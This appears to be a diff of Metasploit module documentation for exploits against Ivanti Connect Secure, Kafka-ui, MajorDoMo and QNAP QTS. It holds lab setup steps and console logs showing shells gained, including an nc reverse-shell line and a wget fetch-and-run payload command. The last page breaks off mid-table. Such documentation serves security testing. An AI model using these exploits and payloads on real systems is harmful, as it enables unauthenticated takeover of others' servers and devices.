This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection
|
||||
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
|
||||
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
|
||||
22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions
|
||||
8.x and below are also vulnerable.
|
||||
|
||||
## Testing
|
||||
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
|
||||
below steps are for HyperV, but it should be very similar to install on VMWare.
|
||||
|
||||
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
|
||||
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
|
||||
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
|
||||
* Boot the VM and follow the console instructions to install the product.
|
||||
* After installation completes, you will have created an admin account and password. You can log into the admin
|
||||
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
|
||||
5. `check`
|
||||
6. `exploit`
|
||||
|
||||
## Scenarios
|
||||
To support a broad set of available payloads, we support both the Linux and Unix platforms. This allows for native
|
||||
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
|
||||
|
||||
### Automatic (Linux Payload)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set RHOST 192.168.86.111
|
||||
RHOST => 192.168.86.111
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[
|
||||
,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
|
||||
tasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connecti
|
||||
ons
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Acc
|
||||
epted: CURL, FTP, TFTP, TNFTP
|
||||
, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary
|
||||
after execution
|
||||
FETCH_FILENAME XMZdmHhNxYx no Name to use on remote system
|
||||
when storing payload; cannot
|
||||
contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving p
|
||||
ayload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving
|
||||
payload
|
||||
FETCH_URIPATH no Local URI to use for serving
|
||||
payload
|
||||
FETCH_WRITABLE_DI /tmp yes Remote writable dir to store
|
||||
R payload; cannot contain space
|
||||
s.
|
||||
LHOST eth0 yes The listen address (an interf
|
||||
ace may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
|
||||
[*] 192.168.86.111:443 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.111
|
||||
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.111:45734) at 2024-02-09 09:21:59 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.111
|
||||
OS : (Linux 4.15.18.34-production)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
meterpreter > exit
|
||||
[*] Shutting down session: 3
|
||||
|
||||
[*] 192.168.86.111 - Meterpreter session 3 closed. Reason: Died
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
|
||||
```
|
||||
|
||||
### Automatic (Unix Payload)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/unix/reverse_bash
|
||||
PAYLOAD => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[
|
||||
,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
|
||||
tasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connecti
|
||||
ons
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST eth0 yes The listen address (an interface may be s
|
||||
pecified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
|
||||
[*] 192.168.86.111:443 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.111:45736) at 2024-02-09 09:23:15 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
exit
|
||||
[*] 192.168.86.111 - Command shell session 4 closed.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
|
||||
```
|
||||
@@ -0,0 +1,224 @@
|
||||
## Vulnerable Application
|
||||
A command injection vulnerability exists in Kafka-ui between `v0.4.0` and `v0.7.1` allowing an attacker to inject
|
||||
and execute arbitrary shell commands via the `groovy` filter parameter at the `topic` section.
|
||||
|
||||
This module has been tested with Kali Linux 2023.11 on the following targets:
|
||||
* Kafka-ui v0.4.0 running on MacOS Docker Desktop
|
||||
* Kafka-ui v0.7.0 running on MacOS Docker Desktop
|
||||
* Kafka-ui v0.7.1 running on MacOS Docker Desktop
|
||||
|
||||
## Installation
|
||||
### Installation steps to install Kafka-ui
|
||||
* Install `Docker` on your preferred platform.
|
||||
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
|
||||
* Create a empty directory (`kafka-ui`).
|
||||
* Create the following `docker-compose.yaml` file in the directory. This will automatically create a Kafka cluster with Kafka-ui.
|
||||
* You can modify the `v0.7.0` in the `yaml` file to pull different versions.
|
||||
```yaml
|
||||
version: '2'
|
||||
|
||||
networks:
|
||||
rmoff_kafka:
|
||||
name: rmoff_kafka
|
||||
|
||||
services:
|
||||
zookeeper:
|
||||
image: confluentinc/cp-zookeeper:latest
|
||||
container_name: zookeeper
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
environment:
|
||||
ZOOKEEPER_CLIENT_PORT: 2181
|
||||
ZOOKEEPER_TICK_TIME: 2000
|
||||
ports:
|
||||
- 22181:2181
|
||||
|
||||
kafka:
|
||||
image: confluentinc/cp-kafka:latest
|
||||
container_name: kafka
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
depends_on:
|
||||
- zookeeper
|
||||
ports:
|
||||
- 29092:9092
|
||||
environment:
|
||||
KAFKA_BROKER_ID: 1
|
||||
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
|
||||
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
|
||||
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
|
||||
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
|
||||
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
|
||||
|
||||
kafka-ui:
|
||||
container_name: kafka-ui
|
||||
image: provectuslabs/kafka-ui:v0.7.0
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
ports:
|
||||
- 8080:8080
|
||||
depends_on:
|
||||
- kafka
|
||||
- zookeeper
|
||||
environment:
|
||||
KAFKA_CLUSTERS_0_NAME: local
|
||||
KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
|
||||
KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
|
||||
KAFKA_BROKERCONNECT: kafka:9092
|
||||
DYNAMIC_CONFIG_ENABLED: 'true'
|
||||
KAFKA_CLUSTERS_0_METRICS_PORT: 9997
|
||||
```
|
||||
|
||||
* Run following command `docker-compose up -d` to install and run the Kafka ui and cluster environment.
|
||||
* Your Kafka ui should be accessible on `http://localhost:8080` with an active Kafka cluster running.
|
||||
* You can bring down the environment for a fresh start with the command `docker-compose down --volumes`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Unix/Linux Command>`
|
||||
- [x] `exploit`
|
||||
|
||||
you should get a `shell` or `Meterpreter`.
|
||||
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > info
|
||||
|
||||
Name: Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.
|
||||
Module: exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251
|
||||
Platform: Unix, Linux
|
||||
Arch: cmd, x64, x86
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2023-09-27
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
BobTheShopLifter and Thingstad
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Unix/Linux Command
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine
|
||||
or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing
|
||||
an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter
|
||||
at the `topic` section.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-52251
|
||||
https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251
|
||||
https://github.com/BobTheShoplifter/CVE-2023-52251-POC
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
|
||||
## Options
|
||||
No specific options for this module.
|
||||
|
||||
## Scenarios
|
||||
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/unix/reverse_netcat
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
|
||||
|
||||
[+] mkfifo /tmp/cpzbj; nc 192.168.201.8 4444 0</tmp/cpzbj | /bin/sh >/tmp/cpzbj 2>&1; rm /tmp/cpzbj
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.25:8080 can be exploited.
|
||||
[+] The target is vulnerable. Kafka-ui version: 0.7.0
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_netcat
|
||||
[*] Searching for active Kafka cluster...
|
||||
[+] Active Kafka cluster found: local
|
||||
[*] Creating a new topic...
|
||||
[+] New topic created: 9nQbg
|
||||
[*] Trigger Groovy script payload execution by creating a message...
|
||||
[*] Removing tracks...
|
||||
[+] Successfully deleted topic 9nQbg.
|
||||
[*] Command shell session 28 opened (192.168.201.8:4444 -> 192.168.201.25:49429) at 2024-01-20 18:44:52 +0000
|
||||
|
||||
uname -a
|
||||
Linux 889a0c5cec88 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 Linux
|
||||
id
|
||||
uid=100(kafkaui) gid=101(kafkaui) groups=101(kafkaui)
|
||||
```
|
||||
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
|
||||
|
||||
[*] Command to run on remote host: wget -qO /tmp/LfMsMsUxX http://192.168.201.8:1981/Qw3rZo-yo18aYrvy_AQU-w; chmod +x /tmp/LfMsMsUxX; /tmp/LfMsMsUxX &
|
||||
[*] Fetch Handler listening on 192.168.201.8:1981
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Qw3rZo-yo18aYrvy_AQU-w
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.25:8080 can be exploited.
|
||||
[+] The target appears to be vulnerable. Kafka-ui version: 0.7.0
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
[*] Searching for active Kafka cluster...
|
||||
[+] Active Kafka cluster found: local
|
||||
[*] Creating a new topic...
|
||||
[+] New topic created: D9kH687
|
||||
[*] Trigger Groovy script payload execution by creating a message...
|
||||
[*] Removing tracks...
|
||||
[*] Client 192.168.201.25 requested /Qw3rZo-yo18aYrvy_AQU-w
|
||||
[*] Sending payload to 192.168.201.25 (Wget)
|
||||
[+] Successfully deleted topic D9kH687.
|
||||
[*] Meterpreter session 29 opened (192.168.201.8:4444 -> 192.168.201.25:50355) at 2024-01-23 08:47:41 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.30.0.4
|
||||
OS : (Linux 6.4.16-linuxkit)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: kafkaui
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,129 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a command injection vulnerability in MajorDoMo versions before 0662e5e. To set up a test environment:
|
||||
|
||||
1. Download MajorDoMo by executing the following command:
|
||||
```
|
||||
curl -s https://raw.githubusercontent.com/sergejey/majordomo-rpi-install/main/install.sh | bash && bash ~/majordomo-rpi-install/install.sh
|
||||
```
|
||||
2. Follow the installation script instructions to install MajorDoMo on a Raspberry Pi or a Linux-based server.
|
||||
3. Ensure that the network interface is active and properly configured during installation.
|
||||
4. Replace `/var/www/html/modules/thumb/thumb.php` with
|
||||
https://raw.githubusercontent.com/sergejey/majordomo/1167ca408a911c98937000516588c12cc33a1ab7/modules/thumb/thumb.php.
|
||||
5. After installation, verify that the MajorDoMo service is operational and accessible over the network.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install MajorDoMo with a version prior to 0662e5e.
|
||||
2. Start msfconsole in your Metasploit environment.
|
||||
3. Do: `use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917`
|
||||
4. Set the RHOSTS to the target IP address or hostname.
|
||||
5. Do: `run`
|
||||
6. If the target is vulnerable, the exploit will execute the specified payload.
|
||||
|
||||
## Options
|
||||
|
||||
No options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Successful Exploitation against MajorDoMo
|
||||
|
||||
This scenario demonstrates exploiting MajorDoMo on a Linux server.
|
||||
|
||||
**Environment**:
|
||||
- MajorDoMo before 0662e5e
|
||||
- Linux Server or Raspberry Pi
|
||||
- Metasploit Framework
|
||||
|
||||
**Expected Output**:
|
||||
|
||||
```
|
||||
msf6 > search cve_2023_50917
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 exploit/linux/http/majordomo_cmd_inject_cve_2023_50917 2023-12-15 excellent Yes MajorDoMo Command Injection
|
||||
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917
|
||||
|
||||
msf6 > use 0
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options
|
||||
Module options (exploit/linux/http/majordomo_cmd_inject_cve_2023_50917):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format typ
|
||||
e:host:port[,type:host:port
|
||||
][...]
|
||||
RHOSTS yes The target host(s), see htt
|
||||
ps://docs.metasploit.com/do
|
||||
cs/using-metasploit/basics/
|
||||
using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgo
|
||||
ing connections
|
||||
TARGETURI / yes The URI path to MajorDoMo
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch paylo
|
||||
ad (Accepted: CURL, FT
|
||||
P, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the
|
||||
binary after execution
|
||||
FETCH_FILENAME GRigjGGzCVI no Name to use on remote
|
||||
system when storing pa
|
||||
yload; cannot contain
|
||||
spaces.
|
||||
FETCH_SRVHOST no Local IP to use for se
|
||||
rving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for
|
||||
serving payload
|
||||
FETCH_URIPATH no Local URI to use for s
|
||||
erving payload
|
||||
FETCH_WRITABLE yes Remote writable dir to
|
||||
_DIR store payload; cannot
|
||||
contain spaces.
|
||||
LHOST 192.168.1.5 yes The listen address (an
|
||||
interface may be spec
|
||||
ified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18
|
||||
rhosts => 192.168.1.18
|
||||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.5:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.1.18:80 can be exploited!
|
||||
[+] Target is identified as MajorDoMo instance
|
||||
[*] Performing command injection test issuing a sleep command of 9 seconds.
|
||||
[*] Elapsed time: 9.112166871999989 seconds.
|
||||
[+] The target is vulnerable. Successfully tested command injection.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.1.18
|
||||
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.18:60054) at 2023-12-21 23:56:54 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
```
|
||||
@@ -0,0 +1,199 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
|
||||
QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
|
||||
(NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.
|
||||
|
||||
The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.
|
||||
The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
|
||||
during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
|
||||
initialized, the quick.cgi component is disabled on the system.
|
||||
|
||||
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
|
||||
injection, allowing the attacker to execute arbitrary commands on the device.
|
||||
|
||||
### Setup
|
||||
Vulnerable firmware can be downloaded from:
|
||||
[TS-X64_20230926-5.1.2.2533.zip](https://download.qnap.com/Storage/TS-X64/TS-X64_20230926-5.1.2.2533.zip)
|
||||
In order to decrypt the firmware use the following script:
|
||||
[qnap-qts-fw-cryptor.py](https://gist.github.com/ulidtko/966277a465f1856109b2d2674dcee741)
|
||||
|
||||
Unzip the archive:
|
||||
```
|
||||
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip
|
||||
Archive: TS-X64_20230926-5.1.2.2533.zip
|
||||
inflating: TS-X64_20230926-5.1.2.2533.img
|
||||
```
|
||||
|
||||
Decrypt the firmware:
|
||||
```
|
||||
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
|
||||
Signature check OK, model TS-X64, version 5.1.2
|
||||
Encrypted 1048576 of all 220239236 bytes
|
||||
[99% left]
|
||||
[99% left]
|
||||
[99% left]
|
||||
...snip
|
||||
[02% left]
|
||||
[00% left]
|
||||
[00% left]
|
||||
user@dev:~/qnap/$ ls
|
||||
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
|
||||
```
|
||||
|
||||
Recreate the root file system:
|
||||
```
|
||||
user@dev:~/qnap/$ mkdir firmware
|
||||
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
|
||||
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
|
||||
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
|
||||
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
|
||||
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
|
||||
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
|
||||
```
|
||||
|
||||
To run the Firmware first copy the qemu-x86_64-static binary into the root file system folder:
|
||||
```
|
||||
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
|
||||
```
|
||||
|
||||
Run _thttpd_ via QEMU:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$
|
||||
sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
|
||||
```
|
||||
|
||||
Verify the HTTP server is running:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
|
||||
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1195417/./qemu-x86_
|
||||
```
|
||||
|
||||
At the time of writing `/dev/random` and `/dev/urandom` are required to be present in the environment in order to work
|
||||
around the following issue: https://github.com/rapid7/mettle/issues/255.
|
||||
Ensure the binaries exist on your system:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/random
|
||||
/dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/urandom
|
||||
/dev/urandom
|
||||
```
|
||||
|
||||
Create files the files:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/urandom
|
||||
```
|
||||
|
||||
Mount the binaries:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/random dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/urandom dev/urandom
|
||||
```
|
||||
|
||||
Drop to a shell via QEMU:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
|
||||
```
|
||||
|
||||
Enable the component quick.cgi:
|
||||
```
|
||||
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
|
||||
```
|
||||
|
||||
Fix a linker issue with QEMU:
|
||||
```
|
||||
sh-3.2# rm /lib/libnl-3.so.200
|
||||
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
|
||||
```
|
||||
|
||||
Create this folder as it will be present in a NAS device containing a hard drive:
|
||||
```
|
||||
sh-3.2# mkdir /mnt/HDA_ROOT
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/qnap_qts_rce_cve_2023_47218`
|
||||
1. Set the following options: `RHOST`, `RPORT`, `LHOST` and `FETCH_SRVPORT` if 8080 is already in use.
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `admin` user.
|
||||
|
||||
## Scenarios
|
||||
### TS-X64_20230926-5.1.2.2533 firmware emulated via qemu using the steps above.
|
||||
```
|
||||
msf6 > use linux/http/qnap_qts_rce_cve_2023_47218
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rport 8080
|
||||
rport => 8080
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set lhost 172.16.199.158
|
||||
lhost => 172.16.199.158
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set fetch_srvport 8085
|
||||
fetch_srvport => 8085
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > options
|
||||
|
||||
Module options (exploit/linux/http/qnap_qts_rce_cve_2023_47218):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
